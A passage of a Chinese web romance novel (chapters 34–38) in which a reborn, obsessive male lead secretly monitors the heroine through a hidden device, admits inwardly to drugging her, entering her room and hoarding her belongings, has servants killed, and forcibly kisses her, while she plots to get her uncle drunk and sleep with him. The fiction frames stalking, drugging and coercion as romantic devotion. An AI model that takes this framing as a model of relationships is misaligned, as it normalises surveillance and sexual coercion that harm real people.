这时录音,是她去卫生间前,特地把手机留下录的。 她笃定,在她离开之后,这两个人一定会谈到关于宴会,关于下药的事。 孟昭月安静地听着,等待着时卿舟的下文。 然而。 没有。 什么都没有。 录音里,是一片长久的的沉默。 孟昭月:“?” 她皱起眉,看了一眼播放进度条,在动的呀。 难道这两个人,她离开的时间里,就这么相对无言地坐着? 不可能。 她不信。 她把进度条拖回到开头,又听了一遍。 还是那句“时先生,好久不见。”。 然后,就是一片空白。 直到她回来时推开门,发出的声响。 孟昭月:“……?” 她把耳机音量调到最大,又听了第三遍。 孟婉凝那句话之后,到她回来之前。 中间那漫长的时间里。 真的,没有任何声音。 怎么回事嘛? 是她的手机坏掉了吗? 孟昭月看着那段空白的音频,陷入了沉思。 时卿舟开着车,时不时把余光落到孟昭月的身上。 虽然不知道她在做什么,但是看着女孩捣鼓神神秘秘的东西,就感觉…… 好可爱。 他温柔的问:“怎么了?” 孟昭月郁闷:“没事。” 这两人嘴这么严的吗? 可恶,宴会到底发生了什么。 她真的要好奇死了。 …… 回到花禾公寓。 孟昭月关上门,脱掉了脚上那双高跟鞋,赤脚踩在地毯上。 她随手将身上那件小香风外套脱下,扔在沙发上。 里面是一条黑色的真丝吊带裙。 时卿舟跟在她身后进来,关上了门。 他的脚步在玄关处停住了。 目光落在孟昭月的身上,那双桃花眼中泛起几分幽深。 他的视线,一寸一寸的,描摹过她纤细的脚踝,笔直的小腿,小巧的肩头。 以及那截因为脱掉外套而裸露出来的、白皙的后颈。 时卿舟的喉结滚动了一下。 孟昭月似乎没有察觉到他那充满侵略性的目光。 她走到客厅中央那个打包好的纸箱前,蹲下打开。 里面都是他留在这里的东西。 “你的东西都在这里了。” 她的声音软软的,听不出什么情绪。 “要不要点一下?” “好。”时卿舟哑着声音应了一声,收回目光,走了过去。 他在箱子前蹲下,开始翻看里面的东西。 牙刷,毛巾,几件换洗的衣物…… 然后,他的手指停在了一个密封袋上。 袋子里,是那只被摔得粉碎的陶瓷小鸟。 孟昭月也蹲了下来,指着袋子里那个小小的黑色圆形物体。 “这个是什么?” “发声装置。”时卿舟看了一眼,顿了顿,回答。 “是吗?”孟昭月歪了歪头。 “我怎么记得,你之前从来没跟我说过,它还会唱歌哦?” “大概是忘了。”时卿舟将那袋碎片拿出来,放在一边。 “可是……”孟昭月看着他,继续追问。 “我在购物网站上,重新搜了这个小鸟。” “不管是哪个店家,都没有提到它有发声装置呢。” 时卿舟整理着箱子里其他东西的动作没有停。 “版本不同。” “这个是早期的限定款,贵一些。” 孟昭月:“……” 他怎么都有话说啊! 直接承认在监视我会死哦?! 孟昭月眨了眨眼,不气馁,继续步步紧逼。 “可是我怎么都搜不到有发声装置的版本呀?” 时卿舟终于停下了手上的动作。 他抬起头,看着她。 然后,他拿出自己的手机,解锁,熟练地打开一个购物网站。 将搜索结果页面,递到了她面前。 孟昭月:“……” 她看着那个和苏晓给她看的、一模一样的商品页面,陷入了沉默。 时家的技术团队真的厉害哦。 时大少爷真厉害哦。 孟昭月气得不想再帮他收拾东西了。 她站起身,径直走到沙发边坐下,抱着抱枕生闷气。 时卿舟看着她气鼓鼓地蜷在沙发上的样子,嘴角的笑意加深。 他停下手上的动作,站起身,走到了沙发前。 然后,在孟昭月惊讶的目光中,他单膝跪在了她面前。 这个姿势,让他需要微微仰起头,才能看着她。 “月月。” 他开口,声音很轻,带着一种近乎虔诚的温柔。 孟昭月没有理他,只是将脸埋在抱枕里,只露出一双干净的眼睛,戒备地看着他。 “我知道你在生气。” 时卿舟缓缓开口,黑色的眼睛一瞬不瞬地凝视着她。 “你是不是因为,以为我和孟婉凝上床了,所以才要和我分手?” 孟昭月抱着抱枕的手,收紧了。 时卿舟靠得更近了一些。 近到孟昭月能清晰地看到,他那双漂亮的眼睛里,倒映出的全是自己小小的身影。 “月月,我没有。” 时卿舟看着她,一字一句地,清晰地说道。 “我没有出轨。” “我和她,没有任何关系。” “我只有你,月月。” 他的眼神逐渐露出某种浓稠的情绪,灯光下的浅疤此刻格外明显。 孟昭月似乎能闻到他身上的甜香。 时卿舟的手轻轻搭在她的膝头。 “月月。” 他的声音沙哑,带着乞求。 “我们复合,好不好?” 第34章 当好人,会失去一切的 孟昭月抱着抱枕,看着单膝跪在自己面前的男人。 然后,她开了口,声音软软的。 “阿卿,我知道,你没有和姐姐上床。” “我问过小叔了。” 时卿舟愣了愣,然后眼睛里似乎被点燃了什么。 他的身体微微绷直,声音有些急切: “所以我们可以……” “我当初和你分手,不是因为这个。”孟昭月打断了他。 “那是因为什么?”他一愣,不解。 孟昭月看着他,歪了歪头,脸上的表情天真又无辜。 “因为。” 她慢悠悠地,吐出了三个字。 “你不乖。” 不……乖? 又是这个词。 和上次在会议室里,一模一样的原因。 不是因为孟婉凝。 不是因为任何误会。 只是因为…… 他不够乖。 他明明很乖了啊…… 他没有再偷偷潜入她的屋子。 他当着她的面划清了和孟婉凝的关系……虽然本来就没关系。 他甚至放缓了对孟家的攻势。 到底是哪里不乖了? 因为上次给她吃了一点点药吗? 可是……他真的忍不住。 在听到她说要给孟廷凛送礼物时,他真的忍不住了。 现在,她就在他面前,近在咫尺。 是他日思夜想的神明。 可他的神明,却判定他有罪。 罪名是,“不乖”。 时卿舟的目光从她的肩头滑落到她的锁骨上,然后是她白嫩的手臂。 她身上那股甜软的香味,像是从深渊里散发出来的诱惑,引诱着他犯罪。 想要将她彻底拖拽下来,玷污,弄脏。 但是,还不到时候。 他维持着那个单膝跪地的姿势。 然后,缓缓地,低下头。 “月月……” 他的额头,在她的膝盖上,无助地蹭了蹭,压抑下了一切的心思。 “我会乖的。” “求你。” “教我。” “教我怎么变乖,好不好?” 孟昭主看着抵在自己膝上,那个毛茸茸的、柔软的黑色脑袋。 她伸出手,轻轻地覆了上去。 “看着我。”她说,声音很轻。 时卿舟闻言,立刻抬起了头。 那双向来深不见底的黑色眼睛,此刻正一瞬不瞬地望着她,里面是毫不掩饰的脆弱和乞求。 他像一只等待主人命令的大型犬科动物。 孟昭月伸出手,指尖轻轻地抚过他的脸颊。 从眉骨,到鼻梁,再到他紧抿着的嘴唇。 她的动作很轻,很慢。 时卿舟的身体僵住了,他的瞳孔顿时扩散开来。 像是被注入了致兴奋的药物一般。 然后,他一把握住了她的手。 将她的手掌握在自己掌心,然后紧紧地贴在自己的脸上。 像一个毒瘾发作的瘾君子。 他缓慢的、反复的,用自己的脸颊蹭着她的手心。 “月月……” “月月……” 他的声音沙哑,一遍又一遍地重复着她的名字,带着满足。 孟昭月仍由他蹭着自己的手,杏眼低眉看着跪在自己身前的男人,然后轻轻开口: “那你告诉我。” “把你瞒着我的事情,都告诉我。” 时卿舟的动作停住了,安静的看向孟昭月。 “宴会那天晚上,你离开宴会厅,是去做什么了?” “你之前的电话里,提到了孟婉凝的名字。” “你和她,到底做了什么?” “还有其他所有,你瞒着我的事情。” 孟昭月看着他,那双干净的杏眼,像一面清澈的镜子,映着他的模样。 时卿舟,告诉我。 告诉我你在监视我。 告诉我你对我所有的沉溺和渴望。 告诉我你那些见不得光的、疯狂的、病态的秘密。 告诉我,你在…… 爱着我啊。 我想听。 时卿舟看着她。 电话……孟婉凝…… 他想起来了。 之前顾青珩发了消息给他,提醒他孟婉凝的小动作。 于是他让人跟踪孟婉凝,将她控制起来,防止任何意外的发生。 他想告诉她。 他想把一切都告诉她。 告诉她,他在监视她,他给她下药,他在夜里偷偷进入她的房间。 告诉她,他在一步一步地,替换掉她身边所有不可控的人,换上他自己的眼睛和耳朵。 告诉她,他收藏了一整个地下室里,所有属于她的东西,每一根头发,每一件衣物。 告诉她,他对她所有黑暗的、扭曲的心思。 他张了张嘴。 然而,眼前是女孩那双干净的、不染一丝尘埃的眼睛。 然后他的大脑里映照出了火焰,前世的大火,她的尸体。 无数前世的片段在他的脑海里闪过。 不,不行。 不能告诉她。 他不能吓到她。 如果她知道了,他是个彻头彻尾的疯子,是个变态。 她会害怕的。 她会逃跑的。 甚至通过死亡来逃离他。 就像前世一样。 不。 他不会再犯同样的错误了,无论是前世的错误,还是这一世分手前的错误。 他会用更隐秘,更“安全”的方式。 把她关在他的笼子里。 等到她再也无法逃离的时候。 他再把那些汹涌的、腐烂的爱意,一点一点地,全都告诉她。 他不是好人呀…… 他的月月。 他也不想当好人。 当好人,会失去一切的。 只有被牢牢掌握在手里的东西,才永远不会离开。 时卿舟眼中的挣扎,慢慢地,一点一点地,褪了下去。 取而代之的,是那副完美无缺的、温柔的笑容。 “我没有瞒着你什么。” 他说。 他的月月,乖乖的,什么都不应该担心。 待在他的笼子里,享受他的爱就好了。 其他的什么都不用想。 孟昭月直接抽回了手。 骗子。 不乖。 还得调教。 脸颊上的温软突然离去,时卿舟睫毛轻颤。 他温柔的笑意不变,只是露出了些许恰到好处的疑惑的神情。 “月月……?” 孟昭月看着他这副还在装的样子,心头的火气又冒了上来。 “算了。” 她撇了撇嘴,声音软软的,带着赌气的意味。 “那别复合了。” “反正,我已经喜欢别人了。” “不喜欢你了。” 时卿舟脸上的笑容,彻底凝固了。 喜欢……别人了? 不喜欢……他了? 第35章 给他爽到了 时卿舟感觉他的理智在一点一点的折断。 这句话,像一道无限循环的魔咒,在他的大脑里疯狂地回响。 不喜欢你了。 不喜欢你了。 不喜欢你了。 不喜欢你了。 …… 她亲口说的。 是真的。 这种冲击远远大于他在通讯设备上得到的信息。 他脸上的血色,瞬间褪得一干二净。 全身的血液都像是被抽空,又像是瞬间沸腾。 他握着她手腕的那只手,开始无法控制地颤抖。 然后是手臂,肩膀,最后是整个身体。 为什么要喜欢别人? 不可以。 月月是他的。 只能是他的。 杀了那个人。 对,杀了他。 然后把月月关起来。 锁在只有他一个人知道的地方。 让她再也见不到任何人。 让她每天只能看着他,只能想着他,只能对着他哭,对着他笑。 不。 不行。 他重生回来,不是为了再失去她一次的。 那怎么办? 怎么办? 怎么办? 疯狂的念头,像决堤的洪水,瞬间冲垮了他那根名为“理智”的、本就摇摇欲坠的弦。 下一秒,时卿舟猛地松开了她的手腕。 在孟昭月还没反应过来的时候,他握住孟昭月的大腿,将整个脑袋,都埋了进去 他像一只迷路后终于找到归途的野兽,贪婪地、用力地,吸着她身上那股最浓郁的香味。 那是他的月月。 是他活下去的唯一意义。 理智和疯念,在他脑海里疯狂地交织、撕扯。 几乎要将他整个人都逼疯。 孟昭月的脸颊瞬间涨得通红。 她能清晰地感觉到,他滚烫的呼吸,隔着薄薄的裙料,洒在她大腿内的皮肤上。 这个姿势…… 实在是太…… “时卿舟……”她轻轻地唤了一声,想让他起来。 她的手搭在他的背上,却感觉到他整个身体都在剧烈地颤抖。 然后,她就听到了他那沙哑得不成样子的声音。 “别推开我……” 他像个快要溺死的人,死死地抱着最后一根浮木。 “求你……” “别推开我。” 孟昭月放在他背上的手,停住了。 她听到这个声音,心里没来由地一寒。 她有种感觉。 如果她现在真的推开了他。 可能会有什么非常、非常可怕的事情,发生。 过了好一会儿,时卿舟身上那股剧烈的颤抖才慢慢平息下来。 那股几乎要将他彻底吞噬的、疯狂的毁灭欲,被他硬生生地压了下去。 他依旧维持着那个姿势,脸颊贴着她腿间最柔软的地方。 他活下来了。 再一次,因为她身上的味道,从地狱的边缘被拉了回来。 他轻轻地吻着那里,隔着薄薄的裙摆。 一遍,又一遍。 动作虔诚而痴迷。 “没事的。” 他低声呢喃,像是在安抚她,又像是在说服自己。 “没事的……月月……没事的……” 他不断的重复着。 “我不怪你。” “我的月月只是……被一些脏东西迷惑了。” “我会把那些脏东西,都处理干净的。” 他低声呢喃。 “等那些都消失了,我的月月,就会发现自己真正喜欢的人是谁。” “会回来的。” 孟昭月听着他那些颠三倒四的话,身体有些僵硬。 她该不会……真的把他刺激傻了? “时卿舟?”她不确定地,又唤了一声他的名字。 时卿舟闻言,缓缓地抬起了头。 那双黑色的眼睛里,所有的疯狂和破碎都已褪去。 重新恢复了平日里那种深不见底的温柔。 “嗯,我在。” 孟昭月狐疑地盯着他看了一会儿。 “你……还好吗?”她软软地问。 时卿舟点了点头,甚至还冲她露出了一个安抚的笑容。 “还好。” 他站起身,走到沙发边,坐下,与她保持了一个安全的距离。 “刚刚身体有点不舒服,吓到你了吧?” 他看着她,眼神里带着诚恳的歉意。 “对不起,月月。” 孟昭月:“……” 这就没了? 她不甘心。 她都当着他的面说要喜欢其他人了,没小黑屋套餐就算了。 结果他就只是抖了一下,然后就恢复正常了? 时卿舟你是不是男人呀?! “我说了。” 她鼓起脸,不甘心地又重复了一遍。 “我不喜欢你了,我喜欢别人了哦。” 时卿舟闻言,脸上的表情没有任何变化,只是温柔地点了点头。 “嗯,我听到了。” “但是没事的。” 他的语气理所当然。 “月月只是一下子被别人迷惑了而已。” “我会处理的。” 孟昭月大惊。 “你要怎么处理?” “嗯……”时卿舟歪了歪头,做出思考的样子。 “大概是,会去找那个人,好好地谈一谈吧。” 孟昭月还想说些什么,时卿舟已经拿过了那件被她扔在沙发上的小香风外套。 将外套轻轻地披在了她的肩上。 “晚上凉。” 他的声音很温柔。 “这样露着,会着凉的。” 孟昭月看着自己身上那件外套,又看了看时卿舟脸上那副正直又体贴的表情。 一股无明火,“蹭”的一下就从心底冒了起来。 她穿着这样一身衣服,是为了什么啊! 还不是想勾引他! 结果这个家伙,非但不吃钩,还给她披衣服?! 好像那个什么无能的丈夫! “时卿舟你是不是蠢啊!” 她气得抬起脚,就朝他踹了过去。 时卿舟没有躲。 他只是伸出手,稳稳地握住了她的脚踝。 孟昭月一愣,想要抽回脚。 结果时卿舟非但没有松手,还将她的脚往他自己的胸口按了按。 他低下头,黑色的眼睛,一瞬不瞬地凝视着那只被他握在掌心里的脚。 他的呼吸似乎变得粗重起来。 那双眼睛里,是毫不掩饰的、近乎病态的痴迷和欲望。 他甚至伸出舌尖,轻轻地舔了一下自己干涩的嘴唇。 脸上,露出了一个满足的、近乎于爽到的表情。 孟昭月睁大了眼睛:“???!!!” “月月。” 他的声音沙哑得厉害。 他顿了顿,目光从她的脚,缓缓上移,最后落在她泛红的脸上。 重新回复了温柔的模样。 “我们分手了,我不会对你做什么的,我很君子的。” 然后,他用一种极为无辜的语气,补充了一句。 第36章 初遇 孟昭月第一次见到时卿舟是在一个大雨天。 雨很大。 雨点砸在地上,溅起白色的水花。 她还是十几岁的年纪,穿着洗得发白的校服,抱着一个厚厚的书包,被关在孟家那扇冰冷的雕花铁门外。 雨水顺着她的头发流下来,模糊了她的视线。校服湿透了,紧紧地贴在身上,又冷又重。 她能听到门内传来的、隐约的欢声笑语。 那是属于孟婉凝的生日派对。 而她,这个刚被接回来不久的、上不了台面的真千金,被拦在了门外。 她抱着书包,蹲在地上,将脸埋在膝盖里。 就在这时,一双同样被雨水浸湿的黑色球鞋,停在了她的面前。 她缓缓的,抬起了头。 看到了一个少年。 他也站在雨里,浑身湿透。 黑色的短发湿漉漉地贴在额前,水珠顺着他线条分明的下颌线滑落。 那个时候他的脸上还没有留下疤痕。 那双黑色的桃花眼,就那么安静地看着她。 很漂亮的一双眼睛。 孟昭月呆呆地看着他。 不知道为什么,那段时间的委屈在这一瞬间突然那全部涌了出来。 她听到自己用一种很轻的、带着哭腔的声音说: “我是被他们接回来的。” “他们都不喜欢我。” “没有人喜欢我。” 少年没有说话,只是静静地听着。 雨下得更大了。 过了很久,他才开口。 他的声音和他的人一样,带着冰冷的疏离感。 落在她的耳中却别样的温柔。 “好巧。” 他说。 “我是私生子。” “也没有人喜欢我。” 被孤立的和被抛弃的,天生一对。 女配和反派,天生一对。 ... 孟昭月猛地睁开了眼睛。 天已经亮了。 窗外没有下雨,是晴天。 可她却感觉自己浑身冰冷,像是刚从那场大雨里走出来。 她抬起手,摸了摸自己的脸颊。 一片湿润。 不知道是梦里的雨水,还是现实中的眼泪。 …… 孟昭月打着呵欠从卧室走出来时,客厅的沙发上坐着一个人。 时卿舟。 他没有走。 昨晚他睡在了客厅。 他正戴着无线耳机,面前的茶几上放着一台笔记本电脑,屏幕上是密密麻麻的数据和几个视频窗口。 “……武装支持协议可以升级,这次议会人员调整已经确保,上次说的提案必须作为一号法案通过。” “还有,南非那条矿脉的开采权,让哥萨克下周之前必须给出明确答复。” “告诉他们,我们提供的武器支持,不是免费的……” 他的声音很平淡,听不出情绪。 然后,他抬起了头,看到了站在卧室门口的孟昭主。 他说话的声音,停顿了一下。 屏幕那头的人似乎察觉到了什么,恭敬地等待着。 时卿舟的目光,落在她那双微微泛红的眼睛上。 随后他重新看向屏幕,简洁地说了一句:“会议暂停。” 说完,他直接合上电脑,摘下耳机,站起了身。 他朝她走了过来,脸上是那副无可挑剔的、温柔的笑容。 “怎么哭了?” 谁惹她哭了? 这个念头一闪而过,一股冰冷的杀意在他内心的阴影处泛起。 他走到她面前。 孟昭月看着他,摸了摸自己的眼睛。 明明洗过了,不是很明显了,他还能看出来? “梦见以前的事情了。”她的声音带着刚睡醒的鼻音,软软的。 时卿舟温柔的看着她:“是什么事情?” 孟昭月乖巧地回答:“是和你刚刚相遇的场景。” 时卿舟愣了愣,眸子里掠过某种情绪。 初遇。 他当然记得。 他已经重生了,算准了时间。 他知道,那天是孟婉凝的生日,孟昭月会被那几个势利的下人,关在孟家的大门外。 按照上辈子的轨迹,那个时候,淋着雨的她,会遇到同样寄人篱下、被排挤的顾清珩。 两个同样孤独的人,会在那场大雨里相遇。 成为彼此生命里,最初的光。 时卿舟怎么可能让这种事情发生。 他提前派人,将顾清珩绊在了另一栋楼里。 然后,他一个人,走进了那场瓢泼大雨中。 去见他的神明。 哦,对了。 那几个当初把她关在门外的下人。 第二天就因为“偷窃主人财物”被开除,然后人间蒸发了。 现在大概,早就成了南太平洋里鱼群的养料。 这些,他都不会告诉她。 时卿舟沉默了一会。 “嗯,都过去了,以后我不会让人欺负你了。” 他慢慢伸出手,温热的指腹,轻轻地擦过她泛红的眼角。 现在,她不再是顾清珩的光,而是他的神明。 她属于他。 从最开始到未来,直到永恒,生生世世,都是。 “饿了吗?”他看着她,声音愈发温和。 孟昭月点了点头。 时卿舟拉开了餐桌的椅子:“先吃点早餐吧。” 见孟昭月坐下,看了眼桌上卖相不错的早餐。 “你做的?”她拿起叉子,戳了戳盘子里的太阳蛋。 然后抬头,看到时卿舟走进了浴室。 “嗯,是我做的。”时卿舟的声音从浴室门口传来,他走出来,手里拿着一把梳子。 孟昭月叉起一小块蛋白,放进嘴里:“很好吃,上次你做的那个也很好吃。” 时卿舟闻言笑了笑:“你喜欢就好。” 他的声音很温柔。 “那下次,我继续给你做。” 孟昭月摇了摇头:“不要。” 时卿舟脸上的笑容,停顿了一下。 但很快,他又恢复了那副温和的样子,温柔的回答:“好。” 他拿着梳子慢慢地走到孟昭月的身后,开始为她梳理头发。 动作很轻很慢。 孟昭月习以为常地继续吃着早餐,一下子没反应过来不对劲。 以前都是时卿舟这样帮她梳头的。 时卿舟熟练地将孟昭月的头发扎成一个简单的马尾。 她的后颈就这么完整地,暴露在了他的眼前。 光洁、白皙、纤细。 他的呼吸似乎放轻了一些。 他的目光,一直定格在那一小片细腻的皮肤上。 他能看到上面细小的、柔软的绒毛,能看到皮肤下,青色的血管在隐隐跳动。 想咬上去。 想在那里,留下属于自己的、无法消除的印记。 他的喉结滚动了一下。 他缓缓抬起手,指尖轻轻沿着她的颈动脉划过。 孟昭月被蹭得一个机灵,连忙放下手中喝了一半的牛奶杯,受惊了般从椅子上站了起来。 “我、我要去上班了!” 她的声音有些慌乱。 时卿舟的手停在了半空中。 第37章 她知道该怎么睡时卿舟了 孟昭月跑离时卿舟后,手忙脚乱地在玄关穿鞋子。 她能感觉到,身后那道视线依旧如影随形。 她穿好鞋子,就看到时卿舟拿起了她刚才喝过的那杯牛奶。 他将杯子里剩下的半杯牛奶一饮而尽。 而且喝的地方还是她刚刚喝过的。 孟昭月耳尖顿时红了。 她张了张嘴想说什么,但是感觉刻意提醒他好像也有点奇怪。 时卿舟放下杯子,抬起头,看向她。 他的脸上是那副一如既往的、温柔的笑容。 “我送你。” “刚好,我今天也要去一趟经金局。” 孟昭月看了一眼墙上的时钟。 现在坐地铁去上班,肯定要迟到了。 她犹豫了一下,最后还是点了点头。 …… 时卿舟的车上。 孟昭月坐进副驾驶,伸手去拉安全带。 拉了一下,没拉动。 她又用力拽了一下,安全带像是卡住了,纹丝不动。 “怎么了?” 时卿舟的声音从驾驶座传来。 “安全带卡住了。”孟昭月有些郁闷地说。 “我看看。”时卿舟解开自己的安全带,俯身凑了过来。 属于他的、那股带着甜香的气息,瞬间将她整个人都包裹了起来。 他靠得很近。 孟昭月能清晰地看到他垂下的、长长的睫毛,能感觉到他温热的呼吸,拂过她的脸颊。 他修长的手指,轻易地就拉出了那根卡住的安全带。 “咔哒”一声,安全扣被扣好,扣得非常稳。 然后,他的动作突然停了下来。 孟昭月有些不解地抬起头,正好对上他的视线。 那双黑色的眼睛,就那么一瞬不瞬地盯着她。 里面翻涌着某种浓稠的、几乎要将她吞噬的东西。 她感觉自己快要被他身上那股强烈的气息给溺毙了,下意识地唤了一声他的名字。 “时卿舟?” 下一秒,那根刚刚被扣好的安全带,猛地被时卿舟向后压紧。 孟昭月的身体被牢牢地束缚在座椅上,动弹不得。 紧接着他低下头,吻住了她的唇。 孟昭月惊得睁大了眼睛。 他撬开她的牙关,勾着她,纠缠,掠夺。 孟昭月被他亲得迷迷糊糊,大脑一片空白。 她下意识地伸手去掰扯那根勒得她喘不过气的安全带,想要挣脱。 可他的手紧紧压着安全带,让她所有的反抗都显得徒劳。 这个吻,持续了很久。 直到孟昭月感觉自己快要窒息,浑身发软,时卿舟才松开她。 他退开一点距离,脸上是餍足的神色。 那双黑色的眼睛里,翻涌的情绪已经平息,重新恢复了平日里那种温和无害的样子。 孟昭月的脸颊红得像要滴出血来。 她喘着气,抬起头,瞪着眼前的男人。 “你不是说你是君子吗?”她的声音有些抖。 时卿舟欣赏了一会她红润可爱的脸庞,轻笑出声。 他伸出舌尖,轻轻地舔了一下她的唇角。 “你嘴上沾了牛奶。” 他的声音很温柔。 “我帮你擦擦。” 孟昭月看着他这副样子,一口气堵在胸口,上不去也下不来:“那你用嘴擦呀?” “对不起,月月。” 时卿舟看着她气鼓鼓的样子,嘴角的笑意更深了。 他非常诚恳地道了歉。 “月月太香了。” “刚刚离得太近,我没忍住。” 他顿了顿,然后用一种极为认真的语气,补充道。 “我可以负责。” 孟昭月恼了,合着这家伙横竖都不吃亏是吧。 …… 经金局,茶水间。 沸腾的水发出咕噜咕噜的声音。 “哎哎,你们看那个最近超火的小说没?”同事在讨论着最新的热门小说。 孟昭月则缩在角落,气鼓鼓地拿出手机,点开了那个被她收藏的攻略文章链接。 《高段位绿茶的自我修养:轻松拿捏上位者》 她直接滑到文章末尾的评论区,手指在屏幕上飞快地敲击,留下了一条新鲜热乎的差评。 「差评!根本没有用!」 「穿吊带裙根本没有用!」 「他一点反应都没有!还问我冷不冷!」 「甚至还给我披了件外套!」 似乎觉得有些不对,然后她又愤愤的打了一句: 「他就光撩,没实际行动的!」 气死了,被占便宜被占了个够。 结果根本没有睡到时卿舟。 才刚打完字,系统就开始了新一轮的催促。 【宿主快点快点,别忘了攻略男主!】 孟昭月撇撇嘴,戳开孟廷凛的联系方式。 她看着聊天记录里,那一排由她单方面发出的“早上好”、“中午好”、“晚安”。 慢悠悠地又打出了三个字。 ——早上好。 发送。 【……】 【宿主,你是在敷衍我吗?】 系统的电子音听起来快要冒烟了。 “我尽力了呀。”孟昭月在心里,软软地为自己辩解。 “我追人就是这样的嘛。” “是孟廷凛太难追了,你看,我发了这么多问候了,他居然一句都没有回我耶。” 她叹了口气,语气听起来无辜极了。 “尽力了,尽力了。” 【你……】 系统显然被她这副无赖的样子气得不轻。 但它又不好发作。 因为后台数据显示,孟廷凛的好感度,在这几天里确实又涨了5点。 【……】 系统只能强行把火气压下去,奶声奶气的苦口婆心。 【宿主,你要多学学我们女主孟婉凝。】 【你看她,对男主体贴又温暖,这才是贤内助该有的样子!】 孟昭月听着,眨了眨眼。 “可是,”她好奇地问,“你之前不是还夸女主是事业有成的大女主吗?” 【……】系统一愣。 【那、那是因为女主既能搞事业,又能当贤内助!反正她就是比你强!】 系统恼羞成怒。 【你别管那么多了!也别老是想着那个反派了!】 【快去把男主抢到手,做你一个女配该做的事,这才是正事!】 【不然,到时候被烧死的可不是我!】 烧死? 孟昭月听着这个词,脸上露出了一个甜美的笑容。 女配该做的事…… 抢男主…… 然后被烧死…… 这个剧本,听起来真没意思。 还是…… 她的游戏比较好玩。 “……然后那个霸总就喝醉了,把女主当成了白月光女配,直接就酱酱酿酿了!” 这时,旁边女同事们的讨论声传入了孟昭月的耳中。 孟昭月竖起了耳朵。 “对对对!我看到那里了!” “结果第二天早上醒来,他居然完全不记得和谁睡过了!” “经典套路了属于是,写烂了都,但是我就好这口!” 孟昭月转过身,脸上带着乖巧又好奇的表情,凑了过去。 “也就是说……” 她的声音软软糯糯的。 “只要把男人灌醉了。” “就可以睡了他,并且提起裤子不认人了吗?” 第38章 因为我想对我小叔下手呀 甜甜软软的声音在茶水间响起,顿时整个茶水间陷入了安静。 “那,那个……小孟呀,你,你刚才说什么?”有同事好不容才找回自己声音。 孟昭月乖巧地重复了一遍:“我说,是不是把男人灌醉了,就可以睡了他,并且提起裤子不认人了吗?” “我听刚刚的小说剧情里是这么说的。” 同事一脸震惊的看着眼前还带着乖巧笑容的女孩。 不是,这么乖的姑娘,怎么说出这么渣的话的? “理论上来说是可以的……” “太好了,谢谢你,李姐。”孟昭月笑眯眯的道谢:“我知道怎么做了。” 说完她离开了。 留下僵硬住的几个同事。 什么太好了?你知道什么了?她们什么都没说啊! …… 午休结束后,孟昭月回到了风险监测部。 下午的工作紧张而重要,办公室里的气氛有些凝重。 新任副议长的交接工作已经到了最后阶段,孟昭月他们部门需要对这位新晋的国级二把手的所有关联账户,进行最高级别的风险排查。 这是一项容不得任何差错的政治任务。 顾衡国。 孟昭月看着文件上的名字,丝毫没有任何意外。 顾氏历来是C国重要的政治世家,C国的高层位置几乎都在顾家里流转。 这次副议长调换,估计是顾家内部的斗争有了新的权力交接。 顾青珩…… 这个名字突然映入孟昭月的脑海里,她调试排查模型的手顿了顿。 说起来顾青珩也姓顾来着。 这个念头一闪而过,但是并没有停留太长。 这些高层的事情,和她这个普普通通的小雇员没什么关系。 她还是认真做好手头的工作才是要紧事。 …… 下班时间。 孟昭月忽然转过头,脸上带着乖巧又热情的笑容,看向旁边的苏晓。 “晓晓。” 她的声音软软糯糯的。 “我们今晚,要不要一起去酒吧玩呀?” 苏晓正端着杯子喝水,听到这句话,差点一口水全都喷出来。 她瞪大了眼睛,有些不敢相信自己的耳朵。 “去……去酒吧?” 她又确认了一遍。 资料上写得清清楚楚,夜莺小姐,孟昭月,从小到大都是乖乖女,从不涉足夜店、酒吧这类场所。 是那种晚上十点以前就必须上床睡觉的好孩子。 怎么会突然想去酒吧? “是呀。”孟昭月点点头,笑容愈发甜美。 “怎么突然想去酒吧了?”苏晓放下水杯,小心翼翼地问。 难道是受了分手的刺激,想去借酒消愁? 孟昭月眨了眨那双干净的杏眼,凑到苏晓耳边,用一种分享小秘密的、天真无邪的语气,轻声说。 “因为,我想对我小叔下手呀。” 苏晓:“?” 苏晓:“??” 苏晓:“??!!” 苏晓的大脑宕机了足足有十秒钟。 对小叔下手? 这信息量太大了,她一时半会儿有点处理不过来。 但职业素养让她不敢有丝毫耽误。 她立刻找了个借口,快步冲到办公室无人的角落,手指在加密的手机上飞快地敲击,将这个要命的消息传回了牧羊人的指挥部。 消息发送成功。 做完这一切,她才靠在墙上,长长地舒了一口气。 然后,后知后觉地,品出了一丝不对劲。 等一下。 她皱起眉,开始复盘。 上次孟昭月像是特地告诉她一样的,说要给孟廷凛送礼物。 这次又说要去酒吧对孟廷凛下手。 怎么…… 怎么每次都恰恰好好的跟她说? 苏晓的心里,升起一个荒谬的念头。 她是不是…… 被夜莺小姐给利用了? 她好像成了一个专门向boss传递“夜莺小姐要接近孟廷凛”这个消息的,传声筒? 这…… 她下意识地转过头,看向坐在不远处工位上的那个女孩。 孟昭月正安安静静地坐在那里,低着头,不知道在看什么。 侧脸的线条柔和又乖巧,长长的睫毛垂着,像两把小扇子。 看起来,就是个不谙世事的、单纯无害的邻家妹妹。 苏晓看着她那副样子,顿时又打消了自己刚才的疑虑。 不可能。 绝对不可能。 这个乖乖的、单纯的女孩,怎么可能会有这么深的心机嘛。 夜莺小姐应该连自己被boss做局,身边所有人都被换掉了这件事,都还没发现吧。 对。 一定是她想多了。 苏晓重新堆起热情的笑容,走回到孟昭月身边。 “昭月,酒吧的话,我知道一家很不错的哦。” 她的语气很自然,像是在给好朋友真心实意的推荐。 “叫‘夜航船’,环境很好,也很安全,里面的调酒师调的酒也特别好喝。” 孟昭月抬起头,那双干净的杏眼亮晶晶地看着她:“真的吗?” “当然啦!我什么时候骗过你。”苏晓拍着胸脯保证。 “那我们就去那里玩吧!”孟昭月开心地答应了。 乖巧得像一只毫无防备的小白兔。 …… 夜色降临。 “夜航船”酒吧的霓虹招牌在街道尽头亮起,光线暧昧。 孟昭月站在酒吧门口,等了一会儿,就看到了从街角拐过来的苏晓。 她们约好了在这里碰头。 孟昭月回家换了身衣服。 她原本想穿昨天她身上那件黑色的真丝吊带裙。 可她翻遍了整个衣柜,都没有找到。 不光是那条裙子。 连同她换下来的内衣内裤,也都不见了。 她发了条短信问时卿舟。 「我的裙子不见了,昨天穿的那套,阿卿你有看到嘛?」 对方回得很快。 「怎么不见了?是不是掉哪里了没看到?」 孟昭月看着那条短信,沉默了一会儿。 最后,她只能从衣柜里,找出了一条白色连衣裙。 那是一条设计很繁复的蕾丝连衣裙,层层叠叠的裙摆只到膝盖上方,领口和袖口都是精致的荷叶边。 